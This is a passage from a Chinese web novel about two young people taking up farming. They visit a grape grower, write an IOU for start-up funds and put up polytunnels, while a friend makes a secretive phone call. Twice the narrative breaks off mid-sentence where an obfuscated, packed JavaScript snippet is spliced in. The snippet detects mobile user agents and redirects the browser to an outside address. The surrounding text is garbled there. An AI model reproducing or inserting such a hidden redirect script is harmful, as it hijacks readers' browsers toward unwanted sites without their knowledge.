半晌,阿公一拍大腿,脸上的皱纹舒展开,“李立的闺女啊!都长这么大了!你小时候跟着你爸来我们村换过秧苗,我还抱过你哩,扎两个小揪揪,怕生,躲你爸身后不肯出来!” 李乘歌没想到还有这层渊源,心里一暖,笑容也更真切了些,“阿公好记性。” “来来,进来看看。”阿公热情地招手,目光落在她身后跟来的傅拭雪身上,“这后生是?” “阿公好,我叫傅拭雪,是和李乘歌一起在村里学着种地的。”傅拭雪上前一步,微微躬身问好,态度谦和。 “好,好,年轻人愿意回来摆弄土地,是好事!”阿公连连点头,引着他们往棚里走,“看看我这些宝贝葡萄。” 李乘歌的注意力早已被棚里的景象吸引。 一人多高的葡萄架排列整齐,深褐色的藤蔓虬结有力,顺着竹竿攀援而上,虽然叶子还未全长出,但枝干上鼓鼓的芽苞已显出勃勃生机。 她蹲下身,轻轻拨开根部覆盖的厚厚腐叶,露出下面深色的土壤。土质松软湿润,捏在指间有细腻的油润感,凑近能闻到一股混合着腐殖质和淡淡肥料的气息。 “阿公,您这葡萄种了多少年了?长得真好。”李乘歌仰头问。 提到葡萄,阿公的话匣子就打开了,语气里满是自豪,“这些啊,我伺候了四五年喽!从最开始十几株试验,到现在这一片……不容易啊,冬天要防冻,夏天要防病,修剪施肥都有讲究……” 他如数家珍,他养了大半辈子的农作物,就这葡萄是他全部的心血,从最初移栽十株到现在拥有几百亩的葡萄园,他都不知道花下多少心思。 李乘歌听得认真,已经翻开笔记本开始记录。 傅拭雪也掏出了随身带的录音笔,按下录音键,然后静静地站在一旁,目光扫过一排排葡萄架,又落在蹲在地上专注观察土壤的李乘歌身上。 阳光透过塑料棚膜,在她发梢和肩头洒下柔和的光晕,她侧脸沉静,长睫偶尔轻眨一下,完全沉浸在与阿公和土地的“交流”中。 傅拭雪忽然觉得,这样的李乘歌,有种说不出的……好看。不是外表,而是那种专注、踏实、与这片土地莫名契合的气质。 “阿公,像您这一片,一亩地大概能产多少?”李乘歌问到了关键。 阿公报了个大概的数字,又补充道,“这得看年景,看伺候得用不用心。用心了,还能再多些。” 李乘歌点点头,记下。 她又请教了一些关于品种选择、日常管理的问题。阿公很健谈,也乐于分享,甚至还带着他们去看不同品种的葡萄藤,讲解扦插育苗的技巧。 “种葡萄啊,一般不直接用种子。要么移栽老藤,要么就选这种健壮枝条,带三四个芽点的,进行扦插……”阿公扯过一根枝条比划着。 傅拭雪起初还能听懂,越到后面,听到什么“冬芽夏芽”、“摘心抹副梢”、“疏花疏果”之类的术语,脑子就有点跟不上了。 他看着阿公布满老茧的手和李乘歌飞快记录的笔尖,心里再次清晰认识到:种地这门学问,深着呢。 此刻,他只有一个念头。 他现在只是一个菜鸟起步的阶段,他的路还远着呢,未来等待他解锁的冒险还多着呢。 接下来的时间,他们又拜访了村里其他几位种植户,看了番茄大棚、西瓜地、甜瓜垄和草莓园。 每个人都有自己的经验和故事,李乘歌的问题总是恰到好处,既能问到点子上,又不显冒犯,很快就能和乡亲们聊开。 傅拭雪则更多扮演倾听和记录的角色,偶尔递瓶水,或在她需要时帮忙撑一下棚帘。 时间在专注的走访和学习中过得飞快。暮色四合时,两人才坐回车上。 傅拭雪按了按有些发胀的太阳穴,拿出那只录音笔,里面已经存满了今天“采集”到的知识。 李乘歌也合上写得密密麻麻的笔记本,长长舒了口气,靠在椅背上,眼神有些放空,那是大脑接收了太多信息后的短暂疲惫。 “回家。”她轻声说,带着完成一项重要任务后的松弛。 “嗯,回家。”傅拭雪启动车子,调转车头。 车厢里很安静,只有引擎的低鸣和窗外掠过的风声。 疲惫感后知后觉地漫上来,但心里却被一种奇异的充实感填满。 回到小院时,天已黑透。 院门廊下留了一盏暖黄的小灯,厨房窗户透出微弱的光,还有丝丝缕缕的烟火气飘出来。夏叙言给他们留了门,也留了饭。 傅拭雪走进屋,火炉上煨着粥,他掀开砂锅盖,是熬得浓稠软烂的五谷杂粮粥,米豆交融,香气扑鼻。 将粥盛好放在木盘上,他从冰箱里拿出几坛密封的罐子,被腌制透彻的萝卜片呈半透明状,他从碗柜里拿出碗勺,用干净的筷子夹出一些,有序地叠放在瓷碟里。 屋外,李乘歌几乎是把自己“卸”进了院子里的竹摇椅中。身体后知后觉的酸乏感席卷而来,她闭着眼,感觉连指尖都懒怠动弹。 阖眸还没一会儿,她就感觉到有什么东西在轻勾自己的裤脚。 她懒懒地掀开眼皮侧头看去,是米饭。 小家伙不知何时凑了过来,毛茸茸的尾巴压在身下,正用前爪有一下没一下地拨弄她裤脚上的一个毛线小球。 李乘歌嘴角弯了弯,弯腰将它捞进怀里。小团子在她怀里嗅了嗅,找了个舒服的姿势,很快安静下来,仿佛也感知到了她的疲倦。 抱着暖烘烘、软乎乎的一团,摇椅轻轻晃着,晚风拂过脸颊……李乘歌的眼皮越来越沉,意识渐渐模糊,最后头一歪,竟真的睡了过去。 院中晚风袭袭,小灯昏黄。 傅拭雪将罐子密封好放回原处,才端着木盘走出厨房。 将木盘放置在石桌上,傅拭雪走到摇椅旁,此时,他才注意到眼前人眼睑紧闭,呼吸声平缓,显然已经睡着了。 傅拭雪哑声轻笑,仿佛有千言万语要说,却又什么都没说。 他转身回屋,拿出一个可折叠的木质屏风,小心地在她上风处展开,挡住了有些凉意的夜风。想了想,又将厨房那个烧着炭、盖着铁丝网的小火炉拎了出来,放在离摇椅几步远、既不会灼伤人又能传递暖意的位置。 做完这些,他才走到摇椅边,静静站了片刻。细碎的黑发垂落额前,眸光落在她睡颜上,比平时更软和几分。 或许是感知到熟悉的气息,李乘歌怀里的米饭动了动,抬起头,湿漉漉的黑眼睛望向傅拭雪,小尾巴欢快地摇了起来。 或是李乘歌睡意不深,小臂被米饭小尾巴不停的拍打,她轻皱起眉,眼睑不安地转动几下,似乎要被弄醒。 傅拭雪立刻俯身,指尖轻轻竖在唇边,对米饭做了个“嘘”的口型。米饭歪了歪头,竟似懂了,不再乱动,只是睁着圆眼睛看他。 见米饭安静下来,傅拭雪弯了弯唇角,左手勾起米饭,将它放在地面上。 眼前的光一晃又一晃,或许是光线变化,或许是潜意识里感知到有人靠近,李乘歌的眼睫又颤了颤,缓缓睁开一条缝。视线起初是模糊的,橘黄的灯光在眼前晕开一片温暖的光圈,光圈中央,是傅拭雪近在咫尺的侧影。 光影中那半垂的眼睑是清晰的,他的眉眼生得极为好看,内眼角较为圆钝,眼尾下垂。 但一双眼却生得亮晶晶,比山溪间流淌的山泉还要干净清澄,甚至可以在他清澈干净的眼里看到自己的倒影。 李乘歌还没完全清醒,半梦半醒间,一个久远的记忆碎片毫无征兆地浮现。 是小时候,在自家门口玩累了睡着,父亲轻轻将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310815|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她抱起的温暖怀抱,还有那带着汗味令人安心的气息。 鬼使神差地,她抬起手,没有去碰他的脸,而是轻轻按在了他心口的位置。隔着一层棉布衬衫,能感受到布料下温热而坚实的触感,以及……平稳有力的心跳。 噗通、噗通。 是活着的,真实的温度。 她的手没有收回,反而微微用了点力,攥住了他胸前的衣料,然后带着尚未消散的睡意和那份源自记忆的依赖,含糊地、近乎呢喃地低声要求。 “抱我回房间……” 像小时候那样,将睡着的我抱回屋里。 骤然袭来的亲昵和请求,让傅拭雪浑身一僵。他倏地抬眸,对上她半睁还氤氲着睡意的眼睛,干净澄澈的眸底清晰地映出他瞬间错愕的模样。 胸腔里的心跳毫无预兆地加速,砰咚砰咚,擂鼓一般,在寂静的夜里显得格外清晰。 他能感觉到她温热的气息拂过自己颈侧的皮肤,带来一阵令人心尖发麻的战栗。身体像是被施了定身法,动作迟滞,血液却奔涌着冲向耳廓。 李乘歌斜倚在柔软的被褥里,朦胧的梦境似乎还盘旋在脑海里,耳边却扑通扑通响着心跳声。 她其实还没彻底清醒,只觉得靠着的怀抱心跳声好吵,震得她耳朵嗡嗡的。她有些不耐地又往他怀里蹭了蹭,鼻尖无意间擦过他上下滚动的喉结。 傅拭雪呼吸一窒,整个人更像被点了穴。 就在这尴尬又暧昧的静止时刻,李乘歌的理智终于被过于激烈的心跳声和不对劲的触感拽了回来。 她猛地睁大眼睛,瞳孔里映出傅拭雪近在咫尺的、微微泛红的耳朵和紧绷的下颌线。 我在干嘛?! 她瞬间彻底清醒,像被烫到一样飞快地松开攥着他衣襟的手,整个人往后缩了缩,脸颊以肉眼可见的速度涨红,连耳根都染上了绯色。 “醒了?”傅拭雪别过目光,他的声音放低,带着点不自觉的温柔。 “我……我醒了!”她声音有点磕巴,眼神飘忽,不敢看他,“那个……睡糊涂了,还以为是在小时候……在外面睡着了,我爸就会……” 她越说声音越小,恨不得找个地缝钻进去。 傅拭雪也借着这个空隙,直起身,不太自然地抬手捋了捋额前的头发,深吸一口气,试图压下胸口那阵陌生的悸动。 听到她的解释,狂乱的心跳才稍稍平复一些,但耳根的热度一时半会儿却退不下去。 他看着李乘歌恨不得把脸埋进米饭毛里的窘迫模样,心里那点尴尬反而奇异地消散了,涌上一股说不清道不明的柔软情绪。 他清了清嗓子,声音比平时更低哑一些,却很认真地说,“没事。那我……多练练臂力,争取下次能抱得动。” “啊?”李乘歌愕然抬头,对上他的眼睛。那里面没有戏谑,没有调侃,只有一片坦荡近乎纯挚的认真,仿佛在说一件再正经不过的事情。 这反而让李乘歌更加不知所措了,脸热得快要冒烟。她迅速移开视线,目光无处安放,最后落在石桌上还冒着丝丝热气的粥碗上。 “我……我饿了!”她几乎是跳下摇椅,几步窜到石桌边坐下,拿起勺子,“先吃点粥!” 傅拭雪转过身来,“叙言给我们留了粥,先垫点肚子。晚点饿的话,等会儿我再做点其他的。” 李乘歌用勺子搅拌着杂米粥,“够了,我一碗就能吃饱,不必再麻烦做其他吃的。” 傅拭雪也没再说什么,他也坐到石桌旁,拿起木盘上的勺子。 看着她几乎要埋进碗里的发顶和通红的耳尖,眼底掠过一丝极淡的笑意,也走到桌边坐下,“嗯,先吃点。” 山村的夜晚格外静谧,只有风吹树叶的沙沙声,和偶尔远远传来的几声犬吠。 两人默默地喝着粥,谁也没再说话。 但这沉默,却不再是最初那种略带尴尬的凝滞,反而流淌着一种微妙而暖融的气氛,像是有什么无形的东西,在两人之间悄悄破土,生长。 李乘歌小口小口地喝着温热的粥,甜糯的口感熨帖着肠胃,也慢慢平复着她慌乱的心跳。 她忍不住悄悄抬眼,飞快地瞟了一眼对面的傅拭雪。 他正垂眸专注地吃着粥,侧脸在灯光下显得安静又柔和,刚才那一幕带来的冲击感,在他平静的姿态里渐渐沉淀。 但心底,好像有什么东西,终究是不一样了。像一颗小小的石子投入心湖,漾开的涟漪,久久不散。 为了打破这让她心头又开始发痒的安静,也为了转移注意力,李乘歌舀起一勺粥,轻声开口,问起了今天“考察”的正事,“傅拭雪,今天我们看了这么多,你……有什么初步的想法吗?” 7. 商讨 “农业真不是一件简单的事。”傅拭雪放下勺子,声音很轻,却带着沉甸甸的分量。 这是他此刻最真实的感受。今天一路看下来,他才更清晰地触摸到农业的广阔与复杂。 从去年十一份到现在二月份,整整四个月。 他接触到的农作物也只是小麦,对于农业其他的知识他知道的更是少之又少。 李乘歌用勺子轻轻搅拌着碗底最后一点温热的粥,闻言,嘴角牵起一个浅浅带着苦涩的弧度,一声极轻的叹息逸出唇边。 “如果农业是一件简单的事,”她抬起眼,望向黑暗中模糊的山峦轮廓,“村里就不会只剩下阿公阿婆,年轻人也不会都往外跑。” 她的声音很平静,却像溪水下的石头,藏着沉重的过往,“如果农业是一件简单的事,那些种了一辈子地的人,身上就不会落下那么多劳伤病。他们用汗水浇灌土地,土地回馈他们收成,却也……带走了他们健康的腰背和灵活的关节。” 说完这些,她收起之前的温吞,转而直直地看向傅拭雪。 “傅拭雪。” “嗯?” “我是说假设,”李乘歌一字一句,问得很慢,仿佛每个字都需要仔细斟酌分量,“如果你投入了所有的时间、精力、金钱,到最后发现,收成不尽人意,结果和你预想的完全相反。血本无归,还可能……像那些前辈一样,累出一身病痛。” 傅拭雪注视了李乘歌些许时间,迎上她的目光,等她再次开口。 李乘歌停顿了一下,像是在给他时间消化这个问题,也像是在积蓄问出下一句的勇气。 “到那时候,你还会愿意把自己……‘种’在这片土地上吗?” 傅拭雪没有立刻回答。他低下头,静静地摊开自己的手掌。 这双手,几个月前还只接触过书籍、键盘和文件,如今已开始熟悉泥土、农具和作物的触感。而今天看到的那些手,布满了厚茧,皮肤皲裂黝黑,指节粗大变形,那是岁月和辛劳共同雕刻的印记。那些微微佝偻的脊背,也曾挺直过。 他抬起眼,迎上李乘歌的目光。她的眼神里有探究,有不确定,或许还有一丝她自己都未曾察觉的期待。 夜色里,她的轮廓被灯光柔和地勾勒着,神情却异常认真。 “会。”他的声音不高,却温润而坚定,像一颗投入平静湖面的石子,漾开清晰的涟漪,“不止这里。不止我一个人。” 他的目光似乎穿越了眼前的夜色,看到了更广阔的土地和更多模糊却坚定的身影,“愿意把自己留在土地上的人,还有很多。” 李乘歌静静地看了他几秒,然后,像是心里某块悬着的石头终于落地,她点了点头,眉眼重新舒展开,露出一个释然带着暖意的笑容。 “对,不止你一个。” 确认了最根本的“去留”问题,话题自然而然回到了具体的“耕种”上。 “今天看的那些,葡萄、番茄、西瓜、甜瓜、草莓……其实感觉都可以试试看。”李乘歌身体前倾,手肘撑在石桌上,指尖无意识地点着桌面,“不过在这之前,大棚得先搭起来。” “大棚的事,确定了方案,可以雇专门的队伍来搭,效率高。”傅拭雪拿过旁边的笔记本,又将相机连接上手机,把今天录制的视频片段导入,“现在的关键是,我们先从哪一样开始?葡萄?番茄?还是……” 李乘歌也凑近了些,为了方便看屏幕,她微微歪着头,目光专注。“这些作物,最适宜的生长温度都在15-25℃左右,对土壤也有一定要求。现在直接进苗还早,最好能先请懂行的专家来看看我们这几块地的土质到底适合什么。如果不适合,我们也有时间在种植前改良土壤,把地‘养’好。” 她伸出手,指尖在屏幕上一处暂停的画面点了点,那里能看到大棚地面上隐约的管线痕迹。 “如果我没看错,这个大棚里应该配套了滴灌或者喷灌系统。”她直起腰,轻轻吁了口气,“这个我不太懂,但我们一定要有。不然,后期浇水施肥全靠人力,工作量太大了,效率低还累人。” 说着说着,她的小脸不自觉皱了起来,眉心微蹙,嘴巴也微微嘟起一点,像只遇到了难题的小动物。 傅拭雪将视线从屏幕移到她脸上,“怎么了?还有什么问题?” 李乘歌缩起膝盖,将下巴杵在上面,一双圆润的眸平静地看向傅拭雪,“说了这么多,我突然发现一个最关键的问题……我好像,没那么多钱。” “就只是资金的问题?”傅拭雪轻眨了一下眼睛,温润的眼眸盯着她。 “嗯。”她掰着手指头小声算,“搭棚子、弄灌溉系统、进苗……一套下来,得好多个‘达不溜’吧?我口袋里的,连零头都不够。就算跟二伯二伯母借,也凑不齐……” 她越说声音越小,但忽然,她像是想起了什么,猛地抬起头,一双眼睛在灯光下倏地亮了起来,像落入了星星,直勾勾地看向傅拭雪。 傅拭雪被她这骤然发亮的目光看得一怔。 那眼神太清澈,太直接,带着毫不掩饰的期待和一点点的……狡黠?像极了米饭看到零食时的模样。 等等,这个比喻好像不太对。傅拭雪有些不自在地移开视线,耳根莫名有点发热。 他怎么感觉自己成了被盯上的……那根“骨头”? “傅拭雪。”李乘歌的声音带着一丝雀跃响起。 傅拭雪垂眸,灯光从他头顶落下,细碎的发梢在他眼下投出浅浅的阴影,也笼罩在李乘歌仰起的脸上。 李乘歌从椅子上站起身,朝他靠近了一步。 两人之间的距离本就因为看屏幕而拉得很近,她这一动,几乎能感受到彼此呼吸带起的微气流。 她在他下巴前停下,仰着小脸,眼睛亮晶晶的,带着一种近乎天真的认真和好奇,问出了那个在她看来顺理成章的问题,“你是不是……挺有钱的?” 这个问题像一根细针,轻轻刺了一下傅拭雪记忆里某个被封存的角落。 他眸光暗了几分,有几份不太好的记忆跳出脑海里。 在没有揭穿他是假少爷前的二十五年,他见过太多因为他的身份、他身后的财团而对他异常谄媚的人。 越长大,他的朋友就越少。 因为当人知道的更多,欲望也就更多。 当他假少爷的身份被揭穿,他的朋友就更少了。 李乘歌是他在坦白“假少爷”身份后,第一个坦然接受并与之相交的朋友。 她会不一样吗? 傅拭雪收敛住情绪后,淡淡地点头,“嗯。” “那……”李乘歌的眼睛更亮了,语气变得格外认真,甚至带上了几分商量和恳切,“能先借我几万吗?我可以打欠条,按银行利息算,或者你定也行。” “欠条?”傅拭雪愣了一下,似乎没想到她会提出这个。 “对啊,亲兄弟明算账嘛。”李乘歌理所当然地说着,已经转身拿过桌上的笔记本,迅速翻到一页空白处,低头写了起来。 甲方:傅拭雪 乙方:李乘歌 乙方李乘歌于2025年2月18日向甲方傅拭雪借款人民币陆万元整,该款项用于合作种植项目所需之搭建大棚、建设灌溉系统及购买种苗等前期投入…… “还款时间还有利息?”李乘歌填写的动作慢了下来,她看向傅拭雪,“这些怎么定?” 傅拭雪回神,他附身认真地看起欠条来,那手好字让他眼底掠过一丝欣赏。 李乘歌的字很好看,倒不似她平日里的风范,她应该没有经过规整的写法规划,字里行间里充溢中自由与洒脱。 字体风格是仅她独有,很有股别致的味道,一钩一划自有风骨,完全不同于她平日给人的温吞印象。 傅拭雪拿过她手中的笔,李乘歌以为他要修改条款,却见他在“甲方”后面利落地签下了自己的名字,又在几处预留的空白处画上线,只留下乙方签名和日期的地方空着。 “没有利息。”傅拭雪的声音平和而清晰,“还款时间也不限。另外……” 他顿了顿,看向她,“搭棚、建系统、进苗的费用,本来就是我们合作项目的一部分,我应该承担一半。所以,这笔借款的用途和数额,我们需要再明确一下,或者,我们可以直接拟定一份合作协议,明确出资比例和权利义务。” 他说得很认真,是纯粹就事论事的语气。 李乘歌看着他坦荡的眼神,心里的那点不好意思和忐忑忽然就散了。 她也很爽快地点点头,“好,那明天我们再仔细拟合作协议。不过今晚这个,就算我个人向你借的启动资金?” “可以。”傅拭雪将笔递还给她。 李乘歌接过,在乙方处端端正正写下自己的名字,然后伸出右手,笑容明朗,“那就……合作愉快,傅老板。” 傅拭雪看着她伸出的手,又抬眸对上她毫无阴霾的笑眼,心底最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310816|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝疑虑也烟消云散。 他伸出手,轻轻握住她的指尖,嘴角扬起一个清浅却真实的弧度,那颗小小的泪痣也随之生动起来,“合作愉快,李……技术员。” 李乘歌,你和他人不同。 希望,我们真的可以将农业做下去。 资金问题有了着落,两人之间的气氛明显松弛欢快了不少。 李乘歌重新坐下,点击屏幕继续播放视频,开始讨论更具体的规划。 “傅拭雪,你说我们大棚搭多大?搭几个合适?”她一边看,一边用手机搜索相关资料,“我们还有两块空地,一块四亩,一块五亩,一共九亩。我看资料说,小拱棚占地10到90平米,中拱棚50到300平米,大拱棚320到720平米。大拱棚对我们刚开始来说太大了,不合适。”① “我们可以先搭两个中拱棚试试。”傅拭雪接话道,思路清晰起来,“控制初期投入和风险。” “对!”李乘歌点头,手指在屏幕上划动,“如果种葡萄需要搭架,中拱棚的跨度可以选4.5米,高度大概1米7到1米8,肩高1米左右,长度……先定20米怎么样?这样一个棚面积大约90平米。我们在每个棚里可以划分几个区域,尝试种植不同的品种或者作物。如果试种成功,再考虑扩大规模。”② 说了这么多,她感觉嘴唇有些干。 傅拭雪很自然地端起旁边一直用小火温着的茶壶,将泡好的金银花茶倒入一个干净的杯子,轻轻推到她手边。 李乘歌侧目看了一眼,嘴角不自觉地弯起,端起来抿了一小口,清甜微甘,润泽了喉咙。“你觉得这个方案可行吗?” 傅拭雪也给自己倒了一杯,握在手里。“先按这个思路走吧。小范围试种,可以降低试错成本,积累经验。” 他看向李乘歌,眼里有赞赏,“你考虑得很周全。” 李乘歌挑了挑眉,看来他明白自己这个方案里留有的谨慎和余地。 “那我负责联系搭建大棚和灌溉系统的事。”傅拭雪分配任务,“你更了解作物,进苗和后续种植技术的部分,可能要多辛苦你。” “没问题。”李乘歌应得干脆,又开始兴致勃勃地讲述起不同作物可能需要的具体管理和她设想中的轮作安排。 昏黄的灯光将两人笼罩在一个温暖的光圈里。 傅拭雪听着她条理清晰的阐述,心思却有一瞬间的飘忽。 由于两人靠的过近,他能闻到那一抹玉兰花香,这股香很清淡,像是一把小刷子钻进鼻尖,然后顺着血管,来到心口挠了两下,他伸手去抓,却是一手空。 他看着她自信从容的侧脸,忽然想起了很久以前的自己,那个尚未被身份问题困扰,在自己熟悉的领域里专注而闪耀的傅拭雪。此刻的李乘歌,身上也有那种光。 或许,在这个晚风带来后院玉兰花香的夜晚,傅拭雪也没抓住那某轻拂心间的羽毛,甚至他还没意识到这根羽毛代表了什么。 夜色越发深邃。 夏叙言在房间里辗转反侧,失眠的老毛病又犯了,即使吃了助眠的药物,睡意依旧杳无踪迹。他索性起身,走到窗边,轻轻推开了半扇窗户。 清冷的月光混合着院中暖黄的灯光,洒在下面那两个依旧坐在石桌旁的身影上。 他们头挨得很近,一个说,一个听,不时在笔记本上写写画画,神情专注,仿佛整个世界只剩下他们正在规划的那片土地和作物。 夏叙言静静地看了片刻,拿起手机,无声地按下快门,将这一幕定格。 照片里,傅拭雪的侧脸在光线下显得格外柔和,嘴角微微上扬着。 那是夏叙言熟悉的,只有当傅拭雪真正放松发自内心感到愉悦时,才会在嘴角边浮现的梨涡。 夏叙言的目光长久地停留在这个梨涡上,眼神复杂。 有些事,像沉在心底的沙,是该清理一下了。 他打开消息,指尖在按键上轻触,他写下一段话,过了一会儿,他又删除。 他然后又打下一段话,再删除。 反复思绪良久,他打通一则电话。 电话接通,对面传来一个略显疲惫但依旧保持优雅的男声。 “叙言?这么晚了……” 夏叙言没有寒暄,他低垂着眼睑,看着窗外月光下那两个模糊却温暖的身影,声音平静无波,却带着一种下定决心的冷清,“我可以帮你瞒住傅拭雪。” “你什么时候来?” 8. 搭棚 “夏叙言,你在跟谁说话呢?” 傅拭雪抬眸就见人站在窗牖旁,他斜倚在窗柩,手里拿着手机,大半张脸隐在屋内灯光的阴影里,神情看不太真切。 夏叙言闻声,几乎是立刻收起了手机,脸上瞬间切换回笑容,露出一口白牙,朝他们挥了挥手,“你们坐在院子里谈心呢?” “在商量接下来一个月具体的种植计划。”傅拭雪温声回答,仰头看他,“你要不要来听听?” 夏叙言摆了摆手,语气懒洋洋的,“我就不加入了,我只是来提醒一下,时间不早了,两位,该睡觉了。” 李乘歌闻言,下意识地瞥了一眼笔记本右下角显示的时间。 居然已经十点了。 时间在专注的讨论中悄然流逝。 “确实不早了。”李乘歌放下笔,站起身,很自然地开始收拾石桌上的碗勺,将它们整齐地码放在木托盘里,然后双手稳稳端起,“该休息了,碗我来洗吧。” 说完,她便端着托盘转身朝厨房走去。很快,厨房里传来哗哗的流水声,几乎是同时,侧屋的卫生间也响起了洗漱的水流声,清洗着一天的尘埃与疲惫。 院子里一时安静下来,只剩下风声和远处隐约的虫鸣。 傅拭雪抬头看了看屋子,夏叙言已经不在窗边了。他收回目光,也站起身,顺手将火炉的炭火用灰稍稍掩埋,只留一点微红的余烬。 一个院子,两间屋子,三个人,满院清辉,岁月无声流淌,却自有一种踏实安稳的美好。 夜晚在睡梦中过去,等到李乘歌再度睁眼时已经是第二日清晨了,东山头的日光徐徐拉开新一天的帷幕,缕缕晨光照进薄雾里,金色的光丝浮在白色水汽中,村子里,家家户户的屋顶开始升起袅袅炊烟,新的一天在熟悉的烟火气中开始了。 李乘歌洗漱完毕,早春清晨的寒气依然料峭,她回屋从衣柜里翻出一条厚厚的羊毛毯,将自己裹严实了,才推开房门走出去。 厨房里,灶台上的砂锅正冒出缕缕白色蒸汽,带着谷物特有的暖香。 桌上压着一张纸条,她拿起一看,是傅拭雪的字迹,挺拔而清晰。 “砂锅里温着小米玉米粥,记得吃。我和叙言出门办事。——傅” 李乘歌将纸条抚平收好,掀开砂锅盖,热气扑面而来。 她拿过白瓷勺,舀了两勺橙黄浓稠的粥到小碗里,捧到院子的石桌上。用小勺轻轻搅拌,粥体软糯粘滑,散发着玉米的清甜和谷物的醇香。细看之下,粥里还撒了点点金黄的干桂花碎,像是点缀在暖色绸缎上的繁星。 一碗粥下肚,胃里暖暖的,整个人也精神了不少。洗干净碗,李乘歌便拿着昨晚的笔记本和一支笔,在院子里寻了个光线好的角落坐下,开始更细致地规划未来几个月的种植蓝图。 昨天只是初步定下了搭大棚的想法,她没想到傅拭雪的行动力如此惊人。 仅仅规划了两个小时左右,手机震动,是傅拭雪发来的消息: 【傅拭雪:大棚搭好了,你方便的话来地里看看,是否符合要求。】 李乘歌有些惊讶地合上笔记本,起身朝田边走去。 远远地,就看见地里已经立起了两个崭新的白色中拱棚,在阳光下反射着光,目测面积有一百多平米,骨架结实,薄膜绷得平整。 李她快步走到正在和两位师傅交谈的傅拭雪身边,忍不住感慨,“你的执行力……一直都这么强的吗?” “嗯?”傅拭雪正弯腰检查一根支架的稳固性,闻言抬眸看向她,眼里带着询问。 “我说搭棚子的事,这也太快了。”李乘歌解释道,语气里是藏不住的佩服。 她说完,又转向旁边两位皮肤黝黑,正收拾工具的搭棚师傅,脸上绽开礼貌又亲切的笑容,“师傅们辛苦了,这么大老远过来,这么早就开工。我去给你们倒杯茶。” 她小跑回院子,很快用托盘端了几杯温热的茶水出来,先双手递给两位师傅,“师傅,喝点茶解解乏。” 然后又将剩下的两杯分别递给傅拭雪和旁边正在帮忙清理边角料的夏叙言,“你们也辛苦了,一大早去拉材料。” 夏叙言接过,仰头咕咚咕咚喝完,用手背抹了下嘴,“小事一桩,动动筋骨。” 傅拭雪也接过茶杯,却没有立刻喝,只是握在手里,目光再次投向大棚,“你看看,是不是你想要的那种?我跟师傅描述的时候,可能不够专业。” 也不知道有没有阐述错误。 李乘歌放下托盘,认真地绕着两个大棚走了一圈,仔细查看了高度、跨度、薄膜的固定方式,甚至蹲下看了看基础的牢固程度。 然后,她站起身,走回傅拭雪面前,眼眸弯成了月牙,带着轻松和满意的笑意,微微歪头看着他,“是呀,完全就是我说的那种,搭得特别好。” 看着她脸颊上的笑容和神情中的知足,傅拭雪愣神,一种莫名的情绪包裹着他。 他回神握拳低咳一声,别开了目光,“没错就好。” 李乘歌正对着麦田而站,前方是在春风里泛起绿浪的麦田,身后是崭新的充满希望的大棚。 她闭上眼睛,深深吸了一口清晨凛冽又清新的空气,任由山间吹来带着竹叶清气的风拂过面颊,一切都似乎在朝着更好的方向,扎实地前进着。 又花了一个小时左右,在两位师傅的指导下,傅拭雪、夏叙言和李乘歌也搭了把手,将一些收尾工作完成,两个中拱棚终于彻底完工,静静矗立在田边,等待着新的生命入驻。 接下来的重要事项是土壤检测。 下午,镇上土壤检测站的检质员如约上门。 这是一位穿着工作服、做事一丝不苟的中年人。他详细询问了地块情况和计划种植的作物类型,然后在傅拭雪的带领下,在不同位置分别取了具有代表性的土样,仔细装入密封袋,贴上标签。 “需要检测的项目包括氮磷钾含量、酸碱度、有机质、重金属、土壤质地、水分和微生物指标等。”检质员一边记录一边解释,“大概需要两周左右出详细报告。”① 三人将检质员送走后,李乘歌抱着笔记本电脑窝回了院子里的躺椅,开始在网上筛选和比较适合本地种植的葡萄、草莓等作物的品种。 傅拭雪则搬了个小木凳坐在她旁边,怀里抱着安静打盹的米饭,两人头挨着头,对着屏幕上的信息低声讨论,不时在李乘歌的笔记本上记录下关键点。 “这个品种抗病性好像更强,但甜度据说稍差一点……” “早熟品种会不会更适合我们轮作安排?” “看看评价里实际种植的反馈……” 院墙外,时断时续地传来电锯切割木材的声音,还夹杂着叮叮当当的敲击声。 不一会儿,夏叙言顶着一顶略显滑稽的草帽,脸上戴着口罩,手里举着一对刚刚做好的还带着木材清香的简易拐杖,兴冲冲地跑进院子。 “拭雪!乘歌!快看!”他眼睛亮晶晶的,像献宝一样把拐杖举到两人面前,“我自己做的!怎么样?是不是有模有样?” 傅拭雪和李乘歌闻声抬眸,视线统一落在夏叙言身上。 只见夏叙言脸上沾了点木屑,露出一排洁白的牙齿,笑容如同太阳般灿烂。 像一个开心地展示自己做的手工等待夸奖的小孩,澄亮的眼睛里是一片认真,里面映着清明天光。 李乘歌忍不住轻轻“哇”了一声,表示了惊叹。 傅拭雪眼角不自觉上扬,语气了然,“厉害,你是要给李伯吗?” “嘿嘿,不亏是你,懂我!”夏叙言得意地挑了下眉,“李伯上次说他那拐杖不太稳当了。” “李伯这会儿应该在家。”傅拭雪说,“你快去送吧,他肯定高兴。” “得令!”夏叙言比了个OK的手势,拿着拐杖,脚步轻快地出了院门。 他熟门熟路地走到村头一栋老屋前,中气十足地喊了一声,“李伯!在家吗?” 